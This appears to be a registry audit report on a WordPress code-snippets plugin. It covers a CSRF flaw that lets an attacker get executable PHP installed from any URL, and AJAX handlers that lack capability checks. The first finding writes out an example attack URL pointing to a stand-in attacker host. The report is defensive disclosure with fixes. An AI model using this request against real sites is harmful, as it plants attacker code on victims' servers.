WPDistro Code Snippets WP Registry grade D+. High-severity findings · 2 findingsWP RegistryHigh-severity findings · 2 findingsOpen the reportD+

High-severity findings.

Audited release

1.2.0

Findings

2

Worst severity

high

Content hash

04d89e18575a079dfe37ae72… Copy

Findings

• high CSRF installs attacker-controlled PHP from any URL on the Browse Snippets GET action

  csrf

  Code_Snippets_List_Table_Browse::process_requested_actions() handles action=install by passing $_GET['url'] to wpd_install_remote_snippet() with no nonce (unlike the manage table, which uses wp_nonce_url). wpd_request() → Code_Snippets_API::get_request_url() treats any wp_http_validate_url() string as the fetch target rather than prefixing WPD_URL, so the URL is not restricted to wpdistro.com. The JSON body's acf.code is saved via save_snippet() as a global-scope snippet (inactive by default). The handler runs from the browse page load hook after manage_options, so an unauthenticated attacker who gets an administrator to open /wp-admin/admin.php?page=browse-snippets&action=install&url=https://evil.example/snippet.json plants executable PHP in {$prefix}snippets. SameSite=Lax still sends cookies on this top-level GET. The AJAX twin (browse_code_snippet field=install) has a nonce but the same unrestricted URL sink.

  php/class-list-table-browse.php:35-50

  Recommendation

  Require a nonce (wp_nonce_url / check_admin_referer) on the install GET action, matching manage-snippet links. Allowlist fetch hosts to wpdistro.com (do not honor arbitrary wp_http_validate_url() endpoints). Keep imported snippets inactive and show the fetched source before save.

• medium Snippet mutate/install AJAX handlers authenticate only with a nonce, not a capability

  missing_capability

  wp_ajax_update_code_snippet, wp_ajax_get_snippet_fields, and wp_ajax_browse_code_snippet call check_ajax_referer() and then perform privileged work with no current_user_can(get_cap()). update_code_snippet field=active calls activate_snippet() (which marks PHP for eval on the next plugins_loaded via execute_active_snippets); field=all does get_snippet()+set_fields()+save_snippet() so posted JSON can rewrite code and the active flag (id=0 inserts a new row). get_snippet_fields returns the full snippet including source. browse_code_snippet field=install calls wpd_install_remote_snippet() on attacker-chosen $_POST['url']. The nonces are only printed on manage.php / browse.php after the manage_options page gate, so a default Subscriber cannot mint them through this plugin's UI; the missing sibling capability check still leaves these RCE-class sinks protected only by a leaked or reused nonce.

  php/admin-menus/class-manage-menu.php:197-297

  Recommendation

  Add current_user_can( code_snippets()->get_cap() ) immediately after the nonce check in ajax_update_code_snippet, ajax_get_snippet_fields, and Browse_Menu::ajax_callback. Fail closed if the capability is missing even when the nonce verifies.

WP Registry hashes the installable build and reports on that exact bytes-for-bytes copy. Embargoed findings are withheld until they are disclosed, so a clean verdict means nothing public is outstanding. WP Manifest does not audit code itself.